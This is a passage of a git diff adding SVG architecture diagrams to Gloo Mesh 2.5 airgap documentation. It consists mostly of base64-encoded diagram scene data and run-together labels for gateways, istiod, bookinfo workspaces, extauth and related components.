UFcdTAwMTXZY639MCW2p2NaX+ZWUZm71up2XHUwMDEzbXtQT5Sq1W5n8E+nU4JfgYJsX5ZcdTAwMTfrRp6E+Idd32KRucMmXHUwMDE4yvKBmcJcdTAwMDJcdTAwMDeHxVOKleSrZFxuh+96THlcdTAwMWWMIVx0LC9NwVxy+MbutmlYMUszhFx1MDAxOVx1MDAwMYrjzjaq22R5TKjFTXtcdTAwMGZKXGIsuPLpd6mFhVx1MDAxOGdGODGOhfZcdTAwMWFOXGaZSrQx7r0hQjk2YppwuFo5WGhzQVx0U/BTYVwiXHUwMDE1V45cZtXfObncXHUwMDEy1DQl45gr07hwzVx1MDAxYVbhMVbuSTGlXHUwMDE5Jlx1MDAwMplcdTAwMGVcdTAwMWNcdTAwMTRcdTAwMTOfwlrUMs2HmZLMdFx1MDAxYaY+bdy+VFx1MDAxMYRA4jaXh6znw/3lfF1dsDl6IXtOvUz7SeD26M7Yy2FOvT9cdTAwMTP1cl5cdTAwMTFcdTAwMDQ/JNtv/Hgtr88nXG42oDOLU6w54lpcIrJYX51cYmIhRTQwKIA75ri9TtXmIMnGqUU05abDkSSUO/o5zotXYWExQqnptmFMO49kXHUwMDAzXFwqQYrEt7rLSoItuFx1MDAwYm+QdNGl4XnlpCFGbfqePdPdRiaXLvtJXHUwMDE3ZFGClZJmtzFhSMytxFx1MDAwZulClKU1bFx0yFx1MDAxZiYxUnQrXHUwMDA18vYnXVx1MDAwMlx0bHbXQ1sripclYbrBTWfxrFx1MDAxYiZD0UVMvll7VEfT0fVl67VzZN+nh+N0UCR9TERcZifuQL5cdTAwMDWPXHUwMDA1RZai82szXHUwMDAxs92y8KbiXHUwMDE4XHUwMDA2ZVx1MDAxNM9j9f5ccn3q6WvVT91cdTAwMGUuRrXn81x1MDAxNupcdTAwMDbE5P54mVdcdTAwMWZ3R8v7tYbdflx1MDAwZp5lbmb/LzJcdTAwMWbWw1U7r7OOgjOhOGFcdTAwMTKBlIhu+4bvU0zdzKDCwiQ4U1x1MDAxNt2WXHUwMDA034rPmZhW086Ghd/B59zpXHUwMDBlXHUwMDEzjc7M7/OpnucliGTROeWc5vqgipLgRtdgw4CVSKJjqsLkvJJ8SpNs4VxipZ5cdTAwMGZcdTAwMDeN3Fx1MDAxOS/G+7CeL2R6u602RrhcdTAwMDWm9J/L1V16jaP77YIqKbHUVMY0deL1KnueuWplWvVx5rCSZjfZ4/Pu5np0R8PuXG6rXZ9XJm+saY/oZfKmkm00XHUwMDFiXHUwMDBmr+0tjPt2xFS5kFx1MDAwNSVx1385uanS4/xcdTAwMWLawrhfZdeWgVx1MDAxZv9cdTAwMDfuXHUwMDEx/FBcdTAwMTZovJpKUSBrV+g/XHUwMDE4vpwxxj4hkpZcdTAwMTFLbk3Sblx1MDAwM/xIXHUwMDA01jRcdTAwMTF7XGZcdTAwMDXfSzmcz8c9S1CDt1xiTlx1MDAwNMxcdTAwMTNcXI0h8MydYKSVQFx1MDAxY0Xnw/PmYyHXXHUwMDFkX9nlYU41L9hh9Tax3Uq9W+dCiVx1MDAwMGpcdTAwMDCww6b1NpOeXHUwMDBlMsxizHSPQbBcdTAwMTKwXHUwMDE0wT1cdTAwMTY2On9jPlx1MDAwMMd75G5cdTAwMWE+XHUwMDAwvFx1MDAxMXp/pXjDlNogc9tcdTAwMTOJcrKCbI37T/27fJ/2o+ngTdSPL4NHPnOvXHUwMDBmh71yo1x1MDAxM7ujdp95hTJ48EGUXHUwMDBlPmFnppJcdTAwMDPYs9HrrYTvcTw5nJruoaakO6OMkoU0SKx+XHUwMDFkQ2nNpaDCXHUwMDEx97tVXHUwMDA2R9pigmhBKKaUXHUwMDEz5Vx1MDAxM2KjlKVNv1x1MDAwZlwiNVx1MDAxNlxcO0XNn1xumnCLc7270ORYnLCHK5GDhVx1MDAxM3bYMUSYKWOAqZLC8Ta/XHUwMDEzdlwivGWvI52BVSty1D3h7cJFr1STybN0q3lBXHUwMDAyJiXgKUJcblx1MDAwZfLKXHUwMDFjfnrLg1x1MDAxM2RcdTAwMTHYTGxcdTAwMGU+Tdsy+sXbXGZcdTAwMDRTt7k8dD1cdTAwMWbvL+frypItuE0lkISQzLTliCzYXHUwMDEy13fdTOZcZpeHg1I3WyNccvtFNONuQph67s42ldpcdTAwMWQ8pJDLfSqDg4dcIsTsXHUwMDA2XHUwMDE27ZNOO1x1MDAwNVx1MDAwMJRPl1x1MDAwMTyf9p+afVx1MDAxMnHTeCeu0ULLsEbkQ3XXna/E1YHbai5g+Vx1MDAxNbk4yFx1MDAwMMGO6mZcdTAwMGJcXCyBoskqpaZcdTAwMWVqvdbRRaGepYPsqyzU6MXg/Sz2PIxcYnWxqbtcdTAwMTjcrE2Sg8NDXGaQXGKn2IGFN6WXaVx1MDAxZFx1MDAwMUy/mVx1MDAxNkxcdTAwMGaspN5ltuJuuXYtXHUwMDE3wFx1MDAxYva3/pXrnbu3XGJgXHUwMDFl63GYXGbWk7PucmhcdTAwMDU1WTgtnuHbs9fRXV+Nx6Iyvm3WhrFnMcyIhcXHJVx1MDAxNzhMuvhvo17OgVx1MDAxY0b8ird5OGxWXHUwMDAyZYdcdTAwMDWn48heJCbsRdZkL1x1MDAxMVhfzViVYJSw6Oz1mOaHk2b6uJesj1VJ3tdF7i5cdTAwMWJ79lJaWXReLVF42MuZOFx1MDAxNmJg71xcgWFiXCKaXHUwMDA1Y7s7XCLcxIE2TbROc7SdXCLiUtyQo1xcJjNq8j050L6PetSBXHUwMDFlcC4lV1x1MDAwNK/gXHUwMDAwb15e2oUszj09Tk9ady/302u7elx1MDAxOXf+JVxiXHUwMDAzi87NSI09XGbMnddcdTAwMWX1I0dcdTAwMTJrQmVcXHvR/WhIXHUwMDFmXHUwMDBlI8EhNXh2pMhcdTAwMWQ99JaymG7ZqVxmOX5+nVx1MDAxY55cdTAwMTYmOn/avUq9fVx0XHUwMDE2c9byXdCRXFw7WWxHXGLUJ6vLR0WatGqGyPcy8WhMOIxuUrXbUUVmMXJNMSbJXG5V9lx1MDAwZbvvZ+3bw7Nk2u6J+8fikX48XHUwMDFlXHUwMDA0MFlMjnmEcZRooUyIpvm5mG7EkEWoQprPfoo4ZVx1MDAwM0ht8tOY0DvjuU1cdTAwMDLXzjLn4+LDZSbZOk7f0aHAg0HnNL5cdTAwMTFmXy1cdTAwMWJgR8v7tYbdfjbAjqa7LM7O/4HzYT3MuvMkXHUwMDAzXHUwMDE5mIfKXHUwMDA0olhjXHUwMDE1/fQ/fDljir2ExqGKgUtLbksxbCPOjoHFiVx1MDAxOXOUPfhcdTAwMDZxdlx1MDAwM8A11VK/enDXrfpjsVx1MDAxZFx1MDAwNdstQTqLXGLNNc/1sVx1MDAxYUOBQTmcYWEq7kZmylc6nN6X++nzUebx6fDsNFd/aup1sNrnJVx1MDAxOVxixS0250i2XHUwMDEwdGdKk/9mR/OTXHUwMDA0n3l9fpJcdTAwMDEmhEmFkNhcdTAwMWZ7him8YT9/qcqVi8duP9Xrq3N2p+62oJ93NOxPlsFX3LWtXHUwMDBmu1xmVPk/cI+givHgzE3KQGJpJaNniYWvZ2xRXHUwMDE1XG5cdTAwMTXhjFpsW1wifCupm5hSpjnS31xuVlx1MDAwMUo5XHUwMDE4N4b1g2Tnrevfvm5XwGpcdCxZXHUwMDA0Vlx1MDAwYjNdXHUwMDFmWnFcdTAwMTRcXHhcdTAwMDdcdTAwMTOkXGJcdTAwMTM0usXTXHUwMDFld+96/Dp//Fxcv5z2R+hcdTAwMWVcdTAwMWRlXHUwMDEycXeEXHUwMDAxrqFzg8dcdTAwMWRPhFx1MDAxOWbWnDGxI9hgm3V31lx1MDAwNFdUSzDBiCPmK07g6uhsUK10SoXSMVx1MDAxOVx1MDAwZY6ytsq01Ft8UdBX84TtaHl3NOyDvteKqmzz5emqX1Pjk9HruLlccuzaQIm2rFx1MDAxN3LN3E3mTbRcdTAwMTLCrre2MG5cdTAwMTZVZK2E+pf4YZgrpU5QXG6/drYwbpdWXHUwMDBiL1x1MDAwNTVcdTAwMTHVXHUwMDFie9i86PWK9+3SXHUwMDE2xr0ppWi+fWeXefmmmDrOXHUwMDEz2lxi2rYtXHUwMDE1XGLxJ5Q9wkznSaC3c1x1MDAxMuJIcVx1MDAxMf3gNJxcdTAwMGbiXG4zlVx1MDAwZVVmlFgokjL7rKrUXG4xQlx1MDAxMcP7O8vZXHUwMDAzzEy1ut2Da3tQ/3T33Vx1MDAxMny2iDLdXHUwMDEz3Vx1MDAwMGRcdTAwMDaXrVWYYMSdpWyWVu5Jpp8np8dcdTAwMTdcdTAwMWQ+tK/P2uRqdNq9+lpcdTAwMTiTudmSI2qhuVx1MDAwN0/vKOZvLYxpXHUwMDEyg0BQ6HhcdTAwMWW2jo7EU1x1MDAxN+F+Kp9BjUnv6XDaXCLiXHUwMDA3Ym5cdTAwMGJi7mh5v9awn196zf+L7Fx1MDAxM1lcdTAwMDWfimpcdTAwMGX/XHUwMDExvEI/2PBt+lwiwGpRglx1MDAxM2TxSFx1MDAxMvyTgJVcdTAwMDRbS3HuSFX/XHUwMDA2uOp8MGx0P1x1MDAxZFMtwSOLmGo+yfVYkVx1MDAwNXf9XHUwMDAwysRSr9L1XHUwMDAzjVx1MDAxYomTx5Ph08l5fiREa2jf547izovSNKT/cKVTvVx1MDAxMKFcdTAwMDC2XkRf+qZcdTAwMTFcblx1MDAwZef4XHUwMDA3K1JPiCjTUiPkTEWMXHUwMDEzgmo+s1TuXHUwMDExZV+71+PukNcyteTtczTttolcdTAwMWHyZfTIVUiu7Jrd8edyR9ju51x1MDAwNKH+nstazCyCs3mZKcKA+FxuVb1SR41KTiWeXi+O3s5lXCKdvM9fX8edlzHX2pKSXG7FXHSjTCF3smHCXHUwMDE0UORCXHUwMDAzXHUwMDBiXHUwMDExbSpE7I6ZpU9KlJeZMVwiXHUwMDA0XHUwMDBijWU841x1MDAxOZ5cbqnb0cP5YVx1MDAxMZGzh+P22404VLW4c/Nxq+HakX1y8++5hHJzYIVccqmDXHUwMDFkkNpkblx1MDAxMCSi+znC9zKWflx1MDAwZcxcdTAwMTW3OMbIXHUwMDFjXHUwMDFhciGZu3hQXHUwMDAyXHUwMDE0M8PA5oBOXHUwMDE5XHUwMDE11MHsWz1MI6ZcdTAwMTiDkJqb/EmshE9cdTAwMTdcdTAwMGJpYclMXHUwMDAxXHUwMDE20zaMXHUwMDEy7U2dYuZcdTAwMWLsUmvHonpQuNI4cDarwPBkpUEjUcVcdTAwMDFmam97XHUwMDFlzCygcVx1MDAwMZaHkFxuceXthPPvqPWRXGKmMHN5aGs+3l/OVyNyZ0/4u9TrZYawxVx1MDAxZlx1MDAxYvX3W8NcdTAwMWVcdTAwMWZcdTAwMDVH5/31e1GNXHUwMDE0sM3X+p///et//z9cdTAwMDO3RUwifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/platform/2-5/airgap/default/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg b/gloo-mesh/platform/2-5/airgap/default/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg new file mode 100644 index 0000000000..4355dcff7a --- /dev/null +++ b/gloo-mesh/platform/2-5/airgap/default/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3PqyLfv+3xcbtec1z+6ncN5c8A4XHUwMDA3glxyvnOLXCLIXHUwMDA0k0wwhlPnu9/V7L2NhFx1MDAwMlwiXHUwMDE5eWzNLjO2oNV0r/Bbq1f4n79cdTAwMGVcdTAwMGX+XHUwMDFlTnr23/998Lf9Xim1XHUwMDFh1X5p/Pd/zN/f7P6g0e3ALTL7fdBcdTAwMWT1K7N31ofD3uC//8//KfV61vxTVqXb/vVJu2W37c5wXHUwMDAw7/2/8PvBwf/Mfjqe1bcrw1Kn1rJnXHUwMDFmmN2aP45jvfjXm25n9miCpKRIYPzxhsbgXHUwMDA0XHUwMDFlN7SrcPe51Fx1MDAxYdjzO+ZPf1crctQ94e3CRa9Uk8mzdKt5QeZPfW60WpnhpPXre5Uq9VHfMafBsN99sVx1MDAxZlx1MDAxYtVhXHUwMDFk7uOFv398btCFXHUwMDE1mH+q31x1MDAxZNXqXHUwMDFkezBwfabbK1VcdTAwMWHDiflcdTAwMWJCXHUwMDFmf/21XGL/fTD/y7tZXHUwMDAxpC3NPi7+cdN8nGhsXHUwMDEx+XEpLFx1MDAxN+Z13G11+2Ze/4WUfObl+czKpcpLXHKm16nO34NJWSkxf8/497clSFnEcTHx8Za63ajVh+Y9RFjaebH5VOzZlmjMqFwiVJOPXHUwMDFi5vm98+qcOGZ/LVxcli7a94PXVJtcdTAwMWU+naZcdTAwMGb1KEWf/v59//8tLny91O/9XuC/XHUwMDA35lx1MDAxN8dXNN8uuUiATlwidFx1MDAxMMdhhlb5TSrbRrWTUuLq3H4rXjY+xnJRbKnf747//rjzv/9cdFx1MDAxYneQue2JRDlZQbbG/af+Xb5P+9HG9XzlUa9a+kXeWDAukKBcXDA6X89Wo/NcdTAwMDI3O6NW6y/HzFZlOVx1MDAxMsRyXHUwMDE4aYEl1UhG5rnBZeEufW33L0VlcPv+dvFYmnSScec5SaWl6Pxy85xAXHUwMDE2R/OLXHUwMDA0slx1MDAxY9NcdTAwMWNxXHUwMDE5znKEqLLtw3KYXHUwMDEw5OIn5cNyysNjWFwiwZRcdTAwMTSc7ozJZl9gTSZrPrNU7lx1MDAxMWVfu9fj7pDXMrXk7fNcdTAwMTaYLGHT/Fx1MDAwYtPtIZ+kajdInbXeXHUwMDEzmVgzXHUwMDE5XHLUa5pcdTAwMGKFiEI0Mo+d5Fx1MDAxZVC1cHmWaemTq8ZZPnd39zaIO49hRJWLyaSbyzR1cVx1MDAxOWWBbLZ/zYZcdFxiTcko/teptv1wXHUwMDA3XHUwMDE1KIg7XGJiTFxuLVx0j8xcdTAwMWW6NDyvnDTEqE3fs2e628jk0uXYs1x1MDAwN1XCWlx1MDAwMHuUWcipeGgwS8yuUJZcdTAwMTj2S51Br9RcdTAwMDdcdTAwMDLysoXS0k3yXq5QiljCcfFFptBcdTAwMDRxLIjAO+OJTTRRo/5YSvZfXHUwMDA3vFxckFeZxtXpey5xt1x1MDAwNU10Ocyp92eiXs4rguCHZPuNXHUwMDFmozjzXHUwMDFhdiCLRbhHiSRagZ1cdTAwMTWZ18qniWY91ytcdTAwMTGpbvh7h41EsX1cdTAwMTh3XmOM7JHVXHUwMDE0Xc5qeJG5QFxmYqmBwfbGXFyfTKZMXHUwMDA1XHUwMDAyJqylorAgNLpKXHUwMDE4pKpccvQwPc1cdTAwMWSlzlx1MDAwNil+93iuns/iTqZSMIvSQLNE6YhmSVxm8JJcdTAwMDTiVZI6QPBcdTAwMGZe2lx1MDAwNC+RYJOdgC3BXHUwMDE16KLIzHGcKD8kXHUwMDFiXHUwMDE1TVKpJG4+1nn5PNf6POZAazFcdTAwMDdcdTAwMDM4YshfgF3BMVx1MDAxN25rgkthUcSZQppLRDFcdTAwMGZkjo1sdsOhTsKnXuagXHUwMDBlXHUwMDAx/4dcdTAwMWI4JSDDiP42wpw4nLaL9CokhS10btEyepV314lcdTAwMTNVnN6i6lx1MDAxYq9gMbnOn6XjLswxY2xcdTAwMDF0XGJE3aBjJ1x1MDAxMlxcXCK0XGZvYOLBXHUwMDFiSmmNlSa7cyt9K4FNdKCBizmCf0iq6KD74fWilW0/a56+aZ/V8UDc5p5cdTAwMWFfgFx1MDAwMfhcdTAwMDJcdTAwMDNIaoCDXHUwMDE0XG5cdMFcdTAwMTCYjrtiXHUwMDAwXHUwMDFmzFx1MDAwMrjGyXtcdTAwMGXv21x1MDAxZimtlaaAxGOKWUr59NlcdTAwMGLKqiS55JXMtKVcdTAwMGU7mXSsWSBcdTAwMDSzYEU0XHUwMDAwelx1MDAxMZ1cdTAwMDWqzWrzqVt8vM6f2Nm3l+TNS+p0XHUwMDFhwFx1MDAwMlx1MDAwYqTsZoBFN+MuXHUwMDFkoFx1MDAwMi8wXHUwMDAwqL2IXHUwMDE4XHUwMDFlXHUwMDAwna0r4VxmULZZuVr2gSmCXHUwMDA10fpcdTAwMDc/cC9KYdo4OFx1MDAxMd5cdTAwMWRK2YT+m4ns8dFcdTAwMGIj+v6yTmrnlefxJD/1p/+h/T6M6s6Rw0Z5YE9cdTAwMTW5yDda+fZzws5Ttlx1MDAwNTdRsnh/jK/ZxbhbvsZ3+aG+PHuPeGBcdTAwMTE6buWtnJInnaNmtkEz6mySbVx1MDAxZSfLXHUwMDFijetatf9EXfhPkC6uXHQ5XHUwMDA1XHUwMDBiXHJcdTAwMTYsXHUwMDE0Y8y4UtHBZThdxVW3glx1MDAwMvWIXHUwMDE2XHUwMDE5XHUwMDExXFw+z671XHUwMDFkWpjPZeiHPGFzJ+NcdTAwMWZ5goSiiKL9qdO1SHK+893OMNOY/jqTcP31tNRutCauzZvRqvE6d2p9mN3BP51cdTAwMWE8cFxcmjiXeWDDc8x4zP3Bw1aj1pkxN8zc7rtoftiolFpcdTAwMWZvaDeqVae2rcBsSjBm/zyKkuz2XHUwMDFitUan1MouTPbPVDfQ9UJcdTAwMDSypKKEXHUwMDExJkh0XV+cPKXro3bXVp2ULL1cXCVG09Yk7rqe61x1MDAwNYZkRMZW11x1MDAwM1dcbs1cdOJ7480wXHUwMDFkd35LXHUwMDFmT8rkrHyIS1x1MDAwZs3TfE886NKPqt9cXNXvaHmXIVxi/1x1MDAwN0acLX7oVETloVhu2o/H6DB1f4TGN3u2e4KQXHR1cN/isbbgWFx1MDAxM2d43zIpXHUwMDE4vk3xXHUwMDA1JoteL0ajer0+XHSYXGKz7UI5XHUwMDE00jdcdTAwMDAmdmkwXHUwMDFj24PhnpDJXHUwMDEylb6ITD5muzk0XHUwMDAxayCQJzHCWlwivoIr+jnVrV6Unm5HuWKmctVTw9Py1VpuiE+ML6bEQtxxubhcdTAwMTM+T123dSB7RjhcYt8yTNFcYlMhd3lcYr5cdExcdTAwMTk/0veX9/40V2p3MX9X6YvapPNcdTAwMDNTtlx1MDAwNVN2tLxbXHUwMDFmdlx1MDAxOfrxf2DE2bJcdTAwMWO+Pq3nUvXc2fStmM1X5G3lKqbohzuixr1GoFSMMlx1MDAxNj3mNXyfYlxuf7hxwoTIWoIsXHUwMDFlSdbuXHUwMDA0XG5cdTAwMTFvnIaSXGK0IGX7k7D7cNJcZoaNbtVcdTAwMTf/OPJrtop/luBcdTAwMDaPZ+bXXGY3QD2CXHUwMDA18qLWmFKFZXRenJ7kJlx1MDAxN+VXmrrtl6v1m3NVOnluxlx1MDAxYvVgJIUlXHUwMDFkgUyLqEdYeFx1MDAxZdsqQ47iI6CewHiR9Vx1MDAwZWK0wIhcdTAwMTFcdTAwMTZT70zlqdGY3lUr9/lcdTAwMDTF6btelVWGRz+wZ1uwZ+vLu1xmn/g/MOJsXHUwMDFm9L1WVGWbL09X/ZpcdTAwMWGfjF7HzS2swnVcdTAwMDMl2rJeyDVzN5k30UpcYrve2sK4WVSRtVx1MDAxMupf4odhrpQ6QSn8XHUwMDFhgP5WXHUwMDFht0urhZeCmojqjT1sXvR6xft2gE9tpXFvSimab9/ZZV6+KaaO84Q21FtM8Vx1MDAxZtPBXHUwMDExvCbeg+lcdTAwMTVcZu1wNogp/MNI4TClg7Ezo1wiROl8kieMaiWJdG7LN0B/qVa3e3BtXHUwMDBm6lx1MDAwN/90SjXX8n2CI2xcdJRaXHUwMDA0gvPJ/prqWoxJUSBcdTAwMTjUjCikVnFLTzI5Us4n+bQ+fUHtw0nibjpcdTAwMWXHnTFcdCXcXHUwMDAyO1x1MDAwN0smZj9cdTAwMTdcXNRKWkRxidmvnyw4fFx1MDAxOCvBSuGBaaGcSbhPni9cdTAwMTWLnCkpXHUwMDE4ZVxuyXhCQJ0qto9q56P6ICllelx1MDAwNFx1MDAxYn7fKOxeK/nyvYrK9+Vu96XRee5cdTAwMWWMu/1cdTAwMTfYn4rty/iOvMPVXHUwMDE4f9jtXHUwMDA1cb1r8oss7jOvUC7/taI+bI5VYMypXHUwMDAyc0hcdTAwMTLMo5/Bh29xLE0+QuliwClcdTAwMDe2j3b2XHUwMDE0ga+DzTxELMKpXHUwMDA0w01TXHUwMDEz3O6TM1x1MDAwM5ag1EIoRpBAWFBvuIxiVDGhYpskIHA4U1x1MDAwZYal/vCo0ak2OjW4N1x1MDAxN1x1MDAxYn9KxJxH0Fx1MDAxZjM2roxmaVwixlVcdTAwMDaLQlx1MDAxMLwgRuf+XG6zNKWemZz1IbLNT6nJ73d8gOq/7U51PifXfFulwfC42243hvBN77qNztD3XHUwMDFiXHUwMDFkXHUwMDFhdqvbJVx1MDAwZlx1MDAxZsPIznuLfNkzI7q3bv5/XHUwMDA3c9Kd/fLx///vP77vTlx1MDAwNJOYuTzENVx1MDAxZu8v5+uqwFx1MDAwMavASDtTJkRcdTAwMTC0QkqeSF3w9EProjzOXHUwMDFkqXbr8P2e1DNxlyhkMapHXHUwMDE4XHUwMDE5s7VcdTAwMWOOIIlCmFx1MDAwZkpw2lx1MDAwYr+TRDGDXVx1MDAxME7He7xkxk5cdTAwMTV54rlcdTAwMGZvXHUwMDA0Nlx1MDAxY/zT6ZTadrBOXHUwMDE364L5TXW6/1x1MDAxNNfixbBweolNiJ2k0T26R6PGY/7pgddEMTs8StmXL1fX2bgzoyMzw3xELaR0LE5lS6xIfVx1MDAxMqi8rMiFlIpcdTAwMTC8u2jXTYoh7Dp5ZFx1MDAxOTbYjM/NdsWbzf1muFx1MDAxZYinJLhaXHUwMDAzLDPWIPKj69zwvLm4sjmzXHUwMDA0XHUwMDEximuAw4I7PFkz/SuVZTBcdTAwMGWXXG6gkCa70b9YXG6La800XHUwMDE3nDFnqt6HXGJAXHUwMDE2YVxiaa5NQS6JlWZcdTAwMWUjnjBcdTAwMDFgXGZAW0y184qIflx1MDAxMf0ux/rhibsurE9gPlx1MDAxNCxY2DVCJJ7PbFx1MDAwZfaJxVx0wFx1MDAxZIY1gf2RXqz/tVx1MDAxMH1cdTAwMTCJze76UNeKmD5YwogwXHQjlOJgYESWMOGaJa5cdTAwMTKGgr2kJaw6kcQtX1x1MDAxNMNcdTAwMTZlSlx1MDAxMSRcdTAwMTUmUm9WlSyqfCE+XHUwMDA3w8jShEqgXHUwMDAwkyhpouC80Vx1MDAxYoxTJZhi+6tcdTAwMDX4KS6DcLDqXHUwMDEyI0gjMJElx2C6UUmVV4xwi4DVxkGEXHUwMDEwWFxcIFx1MDAwMo9cdTAwMTiJJNrCU7Ldc1wioKdcdTAwMTgyNc0oXHUwMDE4zEr7ODKwJT9mXHUwMDA1prWm/y7hRqjr81x1MDAxZcpeUbZcdTAwMDVHoFx1MDAwNaYhgSXPMEUrXHUwMDA0oFx1MDAxZOfrXHUwMDE3qZv6IF3jdrfR7t2PT0dBJlJ8XHUwMDBlOkCPWoxcdTAwMTNqXG6hmJ/uMimgSCw9v4s38oeGn3PISOdcdTAwMWNcXIK6V1x1MDAxOO0v/uzjXHUwMDE58ak6upnZ9Dtkflx1MDAxMLdzXHUwMDBln3mtXHUwMDA3YExcdTAwMThlXHUwMDEwm1x1MDAwM4bkJtUmuolcdTAwMTS+x/FcdTAwMDQwhGBLI8RcdOBcdTAwMTRK8EKdMGJKIYHcNUl+IPVCwlxmNjn0IIxacE+ZjFx1MDAxZolgIO7ld0EtRojmJlx1MDAwN1x1MDAxNGFvkTvMXHUwMDE4aGCM2O6OOWNcdTAwMDFgwlWJXHUwMDBiLFCjNGE9XHUwMDExXHUwMDAwf+Ned/j5/2BcdTAwMDVqcVhRwFxuRGMwhzlfXHUwMDBmwYRcdTAwMTfudk3KOFx1MDAxOPXMXHUwMDE2XHUwMDA3SFx1MDAwNfvFvZPSlqLwXHUwMDFmgFFcdTAwMDDNlGPhmdSXXHUwMDAyMMHUba5Ful5cdTAwMTG+LCmdXHUwMDE1Up2dmsLRgkY/xlx1MDAxNbmrafFq3E7nk2RCqqVB+sGuriPdPjGVWpLFY1xcQcFcdTAwMWXmUVx1MDAwZV2ipFIvXHUwMDA2V21cdTAwMTatK1x1MDAwMMdSKXfo5NlcdTAwMDTB8OtpIXd58np62SpVc0T36OA9oFxublx1MDAxY4J17/V7fZi+e7+aVlx1MDAxZnrDXHUwMDAxOZ5cdTAwMWVcdTAwMTfHW1x1MDAxOLdrn7yl+FBW2MnxqH9xcl647YuNxl1cdTAwMTZV67/w28GHocIl+Cw32O2DMNMzmzmyXFxcdKermFx1MDAxYUdYglx1MDAxY1mQLExakkc5Q4ogWZaFZC6VLj5cdDpYXGJNpGTfqopKr9+tjirDXqnmb7vsKktnibZcXLRonNPcQOHz4FKBoFx1MDAwYlx0XHUwMDE2SkT3x+J3fXPZOcq/ZTKd685tj5313lnMXHUwMDE1PvfUSZPALFtjyy0rfFwiKVFMx7RM4CBbtU9HNlx1MDAxMnJ6To9zk2L6XHUwMDE2jzZX+DtcdTAwMWH2q+GIfvWi1KjWXHUwMDA2vPp2+9gpPVx1MDAxN87JccTA1zVxhP/C71x1MDAxMUdcdTAwMTBHNv6CuOJgl7rcXHUwMDExS6u0h1JVXFxRXHUwMDA099Rek5K47JOdolxiXHUwMDFm2OBpzWEq+UpTbWZ/5Xz3XHUwMDAwXHUwMDFiqjYo89bAXHUwMDFmMijX27dcdTAwMDZcdTAwMTmW6NtFyPBniuvDXHUwMDA1XHUwMDFhkmUvhcBcdTAwMWHIc4Uwb9LoXT8nXHUwMDFmiomH++NMXHUwMDFkPZ+O27WYw1x1MDAwNUlcdTAwMTbhgpIotnBcdTAwMDFjLmFuJKZFTI5vXHUwMDFlXHUwMDBln8pjzO76z/mXXuG62LRcdTAwMDPSWFdR7F9r2M9X6/5fJOJ0p4nWaY62U0RcXIpcdTAwMWJylMtkRk2++2OpteCCs87/griSRFx1MDAxOT/2XG5nNeHbXHUwMDFmV7wgyVwiXlBK7Vx1MDAxNS/49GvRnGqG8beqidYvXHJcdTAwMWKdWlx1MDAwMF7YkYthicJdxFx1MDAwYn+muFx0XlxiaVx1MDAxZCOJaUYgVqh/dvR+1j1cIp2bzFmmcFx1MDAwYqbw81x0uog5XlBKetxcdTAwMGI8vnhcdTAwMDEgXHUwMDFjJVx1MDAxNO0wknxcdTAwMTO8UFN5/lhCt1xydSpcdTAwMWYmV0f9V/RcdTAwMWHgSV9FXHUwMDAzf61hP/84wf+L/CvxQmCuulx0yVx1MDAxNKZLQXRvaPj+x1x1MDAxNTCA8e5xMNB4OVx1MDAxOFx1MDAxNMPMnHx+K7hgvzXs8ee6XHUwMDE3luhbXHUwMDBmXFz4PcVQ1lx1MDAwYlxmrGI8hPdcdTAwMThcdTAwMTCuXHUwMDE0K+R7hvtgV+K9xfP+XYJ1ri1cdTAwMDS4SCDGXHUwMDA0fGd3bJVExFx1MDAxMkSChlx1MDAwNtREhVx1MDAwZe5cdTAwMWG6KVx1MDAxZipqcSq45EyCtaC0T3RcdTAwMTUjlkaKalx1MDAwNJCBKOplUs2UQpztMSdtWXRcdTAwMTVccuXSiNFV4ad2XHUwMDA380Amk1XBMWJcYjFFhYA9xo53fURXUTnfYLCIfr9jxeiqcL+ge1KmaVx0YTAzLLFcdTAwMDJTzDMpbVx1MDAxMcxcdTAwMTg2Raspk1x1MDAxY2vPnL5UcFUgbZvLQ9Xz4f5yvq4s3ThccvREYI1cdTAwMTVHXFyj6I7TcFxiXHUwMDE4V+mmXHUwMDE4XHUwMDAzXHUwMDE24Fx1MDAxNGmOXHUwMDE4kN2idKOWUkD+SoFoXHUwMDEzu1x1MDAwM1x1MDAxOVJbsOBUmkhekFDKp15cdTAwMDaVltSEScLULCdiUbYxRMBQXHUwMDEyOzzg+FqyXHKkiJJcdTAwMDB7iFZcdTAwMWOD3J9cdTAwMDOSuWhjlslG/L27SPI1U1/CMYl7TphxKcxhOVx1MDAwN8Q4T6Zyzlx0SSqZSWNcdTAwMDJhy+nXTnxcdCRscy2S9IqCLTyIhFx1MDAwNWa+XGKEqIQ5zVHAMtmm3tLvhaNBvUx7zyelq2y2cFiNffPsxY7AXHUwMDAy8Ygxo5/fbFx1MDAxNVRcdTAwMWKmXHUwMDA0aOSn2+qW2mNcdTAwMDeq9ll9O5OJXHUwMDE2mfpfylx1MDAxM6LygEGK04vDW5K+Kuu3oFxiqlx1MDAxOFG/clG/pCqih3NcdTAwMGadVinYV5LENelr941WfZHBXHUwMDA2sj84XCLH1IUhQq5cdTAwMTLZa4+ml5eq+1467Vx1MDAwZYfjI1LjJzfDXHUwMDAw8o+Jh18xd2FcdTAwMThByVx1MDAxNjuvbde9r1x1MDAwNFaSXGJcdTAwMTVPyT+6aNwq2qynzrt1XU2Nn++7LMZNVq/PK5M31rRH9DJ5U8k2mo2H1/ZcdTAwMTbGrZy+PNitdOU8l7rq5juyca2zm/n3d7S8y45ccvxcdTAwMWZcdTAwMThxtoVb0UqlXG5FObrqXHUwMDBlblx1MDAwYjlVfK319yxcYoOrY4VcdTAwMTj3YH1Q6nRWL5OB4ftcd